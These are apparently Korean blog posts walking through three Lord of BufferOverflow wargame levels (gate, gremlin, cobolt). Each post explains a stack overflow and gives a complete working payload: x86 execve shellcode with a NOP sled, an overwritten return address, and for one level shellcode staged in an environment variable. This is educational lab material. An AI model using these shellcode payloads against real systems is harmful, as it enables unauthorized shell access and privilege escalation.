LOB_Redhat cobolt


C코드입니다. strcpy는 안보이네요. 그 대신에 입력받는 것이 gets로 바뀌었습니다.


바이너리에서도 buffer의 크기는 16이네요

strcpy가 없기 때문에 환경변수를 이용하려고 합니다. 

환경변수란 프로세스가 컴퓨터에서 동작하는 방식에 영향을 미치는, 동적인 값들의 모임이다.

라고 설명하는데 그냥 우리가 Path 설정하는 것처럼 저걸 쉘이라 이름 짓고 쉘을 설정한다고 생각하시면 됩니다.

입력 형태는 export 환경변수=값 이런식으로 사용합니다.


export shell=`python -c 'print "\x90"*100+"\x6a\x0b\x58\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80"'`

를 입력해서 쉘이라는 이름의 환경변수를 만들어 값을 넣어놓읍시다.


getenv라는 실행파일을 실행하는데 이 실행파일은 이렇게 생겼습니다.


왜 이런걸 실행하냐면, 지금 환경변수로 올려놨지만 사용하기 위해선 주소가 필요합니다. 그 주소를 알기 위해서 만드는 코드입니다.

getenv()라는 함수는 괄호 안에 있는 환경변수의 값을 찾는데 %p를 해서 출력한 이유는 저 값이 있는 주소값을 찾기 위해서 입니다.

주소값은 위에 사진에 보이는 바 같이 0xbffffec6입니다.

*환경변수의 주소는 컴퓨터마다 다를 수 있습니다.


return address를 0xbffffec6로 덮어 씌우게끔 payload를 짜고 | (파이프)를 이용해 실행파일과 연결하여 exploit합니다.


성공


payload : (python -c 'print "A"*20+"\xc6\xfe\xff\xbf"';cat)|./goblin

'Wargame > LOB_Redhat' 카테고리의 다른 글

LOB_Redhat wolfman  (0) 2016.09.19
LOB_Redhat orc  (0) 2016.09.19
LOB_Redhat goblin  (0) 2016.09.06
LOB_Redhat cobolt  (0) 2016.09.06
LOB_Redhat gremlin  (0) 2016.09.06
LOB_Redhat gate  (0) 2016.09.06

LOB_Redhat gremlin


C코드를 보면 buffer가 고작 16개 이다. strcpy를 이용하여 버퍼오버플로우를 시킬 수 있다.


바이너리를 보아도 buffer가 16개이다.


strcpy가 있다. 이 함수를 이용해서 버퍼오버플로우 시킬 것이다. 그러니 다음 명령에 브레이크 포인트를 건다.


strcpy 함수로 인해 argv[]에 문자열이 복사 되었다. SFP를 덮기 위해 A를 20개 정도 입력하고 주소를 입력할 것이기 때문에 넉넉잡아 0xbffffba0로 잡고 payload를 짜서 exploit 시키자.



성공


payload : ./cobolt `python -c 'print "A"*20+"\x70\xfb\xff\xbf"+"\x90"*200+"\x6a\x0b\x58\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80"'`

'Wargame > LOB_Redhat' 카테고리의 다른 글

LOB_Redhat wolfman  (0) 2016.09.19
LOB_Redhat orc  (0) 2016.09.19
LOB_Redhat goblin  (0) 2016.09.06
LOB_Redhat cobolt  (0) 2016.09.06
LOB_Redhat gremlin  (0) 2016.09.06
LOB_Redhat gate  (0) 2016.09.06

LOB_Redhat gate


C언어로 보여준다. 그냥 간단한 Buffer overflow 문제이다.


Buffer에 C코드와 같이 256개의 공간이 있다.


문자열을 복사하는 strcpy가 있다. 

다음 명령어에 브레이크 포인트를 건다.


strcpy로 argv에 복사된 주소를 찾았다.

0xbffffbb0정도를 이용하여 payload를 짜서 exploit를 시키면 된다.



성공


payload : ./gremlin `python -c 'print "\x90"*200+"\x6a\x0b\x58\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80"+"\x90"*37+"\xb0\xfb\xff\xbf"'`

'Wargame > LOB_Redhat' 카테고리의 다른 글

LOB_Redhat wolfman  (0) 2016.09.19
LOB_Redhat orc  (0) 2016.09.19
LOB_Redhat goblin  (0) 2016.09.06
LOB_Redhat cobolt  (0) 2016.09.06
LOB_Redhat gremlin  (0) 2016.09.06
LOB_Redhat gate  (0) 2016.09.06

+ Recent posts

티스토리 툴바